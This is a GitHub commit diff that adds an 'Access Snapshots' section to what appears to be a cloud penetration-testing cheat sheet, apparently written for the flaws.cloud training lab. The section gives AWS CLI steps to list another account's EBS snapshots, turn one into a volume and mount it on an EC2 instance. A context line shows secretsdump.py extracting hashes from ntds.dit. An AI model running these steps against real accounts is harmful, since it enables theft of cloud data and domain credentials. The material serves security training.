-
-
Notifications
You must be signed in to change notification settings - Fork 249
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
978e8b3
commit 255aaec
Showing
2 changed files
with
30 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -73,6 +73,31 @@ aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west | |
14. locally run `"secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets'`, expects secretsdump to be on path | ||
## Access Snapshots | ||
1. Get the `owner-id` | ||
```powershell | ||
$ aws --profile flaws sts get-caller-identity | ||
"Account": "XXXX26262029", | ||
``` | ||
2. List snapshots | ||
```powershell | ||
$ aws --profile flaws ec2 describe-snapshots --owner-id XXXX26262029 --region us-west-2 | ||
"SnapshotId": "snap-XXXX342abd1bdcb89", | ||
``` | ||
3. Create a volume using the previously obtained `snapshotId` | ||
```powershell | ||
$ aws --profile swk ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-XXXX342abd1bdcb89 | ||
``` | ||
4. In AWS console, deploy a new EC2 Ubuntu based, attach the volume and then mount it on the machine. | ||
```ps1 | ||
$ ssh -i YOUR_KEY.pem [email protected] | ||
$ lsblk | ||
$ sudo file -s /dev/xvda1 | ||
$ sudo mount /dev/xvda1 /mnt | ||
``` | ||
## Instance Connect | ||
Push an SSH key to EC2 instance | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters